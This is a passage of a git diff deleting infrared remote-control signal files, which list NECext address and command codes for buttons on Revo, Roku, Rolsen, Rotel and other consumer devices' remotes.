NECext -address: 01 00 00 00 -command: 24 00 00 00 -# -name: ReturnToLive -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 25 00 00 00 -# -name: SkipAhead -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 26 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 27 00 00 00 -# -name: ReplayGuide -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 28 00 00 00 -# -name: Zones -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2A 00 00 00 -# -name: Input -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Revo/Unknown_Blik/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Revo/Unknown_Blik/0,-1.ir deleted file mode 100644 index 6f9067d8e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Revo/Unknown_Blik/0,-1.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: SNOOZE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: ALARM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 54 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 55 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 56 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 57 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 58 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 59 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5A 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Revoy/Unknown_Revoy2200/0,153.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Revoy/Unknown_Revoy2200/0,153.ir deleted file mode 100644 index c3dce1034..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Revoy/Unknown_Revoy2200/0,153.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 03 00 00 00 -# -name: mark -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 04 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 05 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 06 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 08 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 09 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 0A 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 0B 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 0C 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 0D 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 0E 00 00 00 -# -name: clr -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 0F 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 10 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 11 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 12 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 13 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 17 00 00 00 -# -name: a-b -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 1F 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 40 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 41 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 42 00 00 00 -# -name: scf -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 44 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 45 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 46 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 47 00 00 00 -# -name: scb -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 48 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 49 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 4A 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 4B 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 4C 00 00 00 -# -name: sright -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 4D 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 4E 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 4F 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 50 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 51 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 52 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 53 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 54 00 00 00 -# -name: sleft -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 55 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 56 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 5A 00 00 00 -# -name: game -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 5C 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 5D 00 00 00 -# -name: X_KEY_3d -type: parsed -protocol: NECext -address: 00 99 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rio/Unknown_Audio/130,19.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rio/Unknown_Audio/130,19.ir deleted file mode 100644 index 7e38d5de0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rio/Unknown_Audio/130,19.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 80 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 81 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 82 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 83 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 84 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 85 00 00 00 -# -name: select- -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 86 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 87 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 88 00 00 00 -# -name: random -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 89 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 8A 00 00 00 -# -name: select+ -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 8C 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 8D 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 8E 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 90 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 91 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 92 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 93 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 94 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 95 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 96 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 99 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 9A 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 9C 00 00 00 -# -name: KEY_LIST -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 9D 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 9E 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 9F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Roku/Unknown_Netflix/190,239.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Roku/Unknown_Netflix/190,239.ir deleted file mode 100644 index 6f685193d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Roku/Unknown_Netflix/190,239.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_HOME -type: parsed -protocol: NECext -address: BE EF 00 00 -command: 00 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: BE EF 00 00 -command: 01 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: BE EF 00 00 -command: 02 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: BE EF 00 00 -command: 03 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: BE EF 00 00 -command: 04 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: BE EF 00 00 -command: 05 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: BE EF 00 00 -command: 06 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: BE EF 00 00 -command: 07 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: BE EF 00 00 -command: 08 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Roku/Unknown_Soundbridge/111,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Roku/Unknown_Soundbridge/111,-1.ir deleted file mode 100644 index 50dda8840..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Roku/Unknown_Soundbridge/111,-1.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 10 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 11 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 12 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 13 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 14 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 15 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 16 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 17 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 18 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 19 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 1A 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 1B 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 1C 00 00 00 -# -name: add -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 1D 00 00 00 -# -name: shuffle -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 1E 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 1F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 40 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 41 00 00 00 -# -name: bright -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 42 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 43 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 44 00 00 00 -# -name: user1 -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 45 00 00 00 -# -name: user2 -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 46 00 00 00 -# -name: user3 -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 47 00 00 00 -# -name: user4 -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 48 00 00 00 -# -name: user5 -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 49 00 00 00 -# -name: user6 -type: parsed -protocol: NECext -address: 6F 00 00 00 -command: 4A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rolsen/Unknown_DK5A/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rolsen/Unknown_DK5A/1,-1.ir deleted file mode 100644 index ebb3e4bea..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rolsen/Unknown_DK5A/1,-1.ir +++ /dev/null @@ -1,296 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Program -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: Shift -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: PBC -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 -# -name: Goto -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0C 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0D 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0E 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0F 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: P/N -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 18 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 19 00 00 00 -# -name: VocalAssist -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 40 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 41 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 42 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 43 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 44 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 45 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 46 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 48 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 49 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4A 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4D 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4E 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 50 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 51 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 52 00 00 00 -# -name: Echo+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 54 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 55 00 00 00 -# -name: Step -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 56 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 57 00 00 00 -# -name: Echo- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 58 00 00 00 -# -name: Resume -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 59 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 5B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rolsen/Unknown_K10B-C1/14,14.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rolsen/Unknown_K10B-C1/14,14.ir deleted file mode 100644 index 95365cb0d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rolsen/Unknown_K10B-C1/14,14.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 0E 0E 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 0E 0E 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 0E 0E 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 0E 0E 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 0E 0E 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 0E 0E 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 0E 0E 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 0E 0E 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 0E 0E 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 0E 0E 00 00 -command: 09 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 0E 0E 00 00 -command: 0A 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 0E 0E 00 00 -command: 0B 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 0E 0E 00 00 -command: 0C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 0E 0E 00 00 -command: 0D 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 0E 0E 00 00 -command: 0E 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 0E 0E 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 0E 0E 00 00 -command: 10 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 0E 0E 00 00 -command: 11 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 0E 0E 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 0E 0E 00 00 -command: 13 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 0E 0E 00 00 -command: 14 00 00 00 -# -name: tv/av -type: parsed -protocol: NECext -address: 0E 0E 00 00 -command: 16 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 0E 0E 00 00 -command: 18 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 0E 0E 00 00 -command: 19 00 00 00 -# -name: Cal -type: parsed -protocol: NECext -address: 0E 0E 00 00 -command: 1B 00 00 00 -# -name: Contrast_sheme -type: parsed -protocol: NECext -address: 0E 0E 00 00 -command: 1C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rotel/CD Player/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rotel/CD Player/20,-1.ir deleted file mode 100644 index 688d8a582..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rotel/CD Player/20,-1.ir +++ /dev/null @@ -1,32 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: FF -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 20 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 21 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 30 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 35 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 36 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rotel/Tuner/82,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rotel/Tuner/82,0.ir deleted file mode 100644 index f6b3a082e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rotel/Tuner/82,0.ir +++ /dev/null @@ -1,110 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STANDBY -type: parsed -protocol: NECext -address: 52 00 00 00 -command: 00 00 00 00 -# -name: AUTO_TUNING -type: parsed -protocol: NECext -address: 52 00 00 00 -command: 02 00 00 00 -# -name: BAND -type: parsed -protocol: NECext -address: 52 00 00 00 -command: 03 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 52 00 00 00 -command: 0F 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 52 00 00 00 -command: 10 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 52 00 00 00 -command: 11 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 52 00 00 00 -command: 12 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 52 00 00 00 -command: 13 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 52 00 00 00 -command: 14 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 52 00 00 00 -command: 15 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 52 00 00 00 -command: 16 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 52 00 00 00 -command: 17 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 52 00 00 00 -command: 18 00 00 00 -# -name: 10 -type: parsed -protocol: NECext -address: 52 00 00 00 -command: 19 00 00 00 -# -name: TUNING_- -type: parsed -protocol: NECext -address: 52 00 00 00 -command: 1A 00 00 00 -# -name: TUNE- -type: parsed -protocol: NECext -address: 52 00 00 00 -command: 1A 00 00 00 -# -name: TUNING_+ -type: parsed -protocol: NECext -address: 52 00 00 00 -command: 1B 00 00 00 -# -name: TUNE+ -type: parsed -protocol: NECext -address: 52 00 00 00 -command: 1B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rotel/Unknown_RR-925/131,18.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rotel/Unknown_RR-925/131,18.ir deleted file mode 100644 index 97cc68895..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rotel/Unknown_RR-925/131,18.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Random -type: parsed -protocol: NECext -address: 83 12 00 00 -command: 00 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 83 12 00 00 -command: 01 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 83 12 00 00 -command: 02 00 00 00 -# -name: Prog -type: parsed -protocol: NECext -address: 83 12 00 00 -command: 03 00 00 00 -# -name: Scan -type: parsed -protocol: NECext -address: 83 12 00 00 -command: 04 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 83 12 00 00 -command: 06 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 83 12 00 00 -command: 09 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 83 12 00 00 -command: 0A 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 83 12 00 00 -command: 0B 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 83 12 00 00 -command: 0D 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 83 12 00 00 -command: 0E 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 83 12 00 00 -command: 0F 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 83 12 00 00 -command: 10 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 83 12 00 00 -command: 11 00 00 00 